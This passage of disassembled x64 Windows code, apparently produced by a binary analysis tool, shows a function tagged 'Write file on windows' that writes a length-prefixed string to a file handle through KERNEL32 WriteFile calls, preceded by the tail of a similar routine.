mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140042a1f
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140042a1a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140042a3e
mov rcx, r8
call fcn.140084698
mov qword [rbx + 0x10], rsi
mov byte [rbx], sil
mov rsi, qword [rsp + 0x68]
mov qword [rbx + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
call fcn.14008b1d4
int3

Function at 0x140042a50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x38], rdx
lea r9, [rsp + 0x30]
mov eax, dword [rdx + 0x10]
mov rbx, rdx
add eax, eax
mov dword [rsp + 0x30], 0
mov rdi, rcx
mov dword [rsp + 0x38], eax
mov rcx, qword [rcx + 8]
lea rdx, [rsp + 0x38]
mov r8d, 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, dword [rbx + 0x10]
mov rdx, rbx
add r8d, r8d
cmp qword [rbx + 0x18], 8
jb 0x140042aad
mov rdx, qword [rbx]
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call fcn.140027f30
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret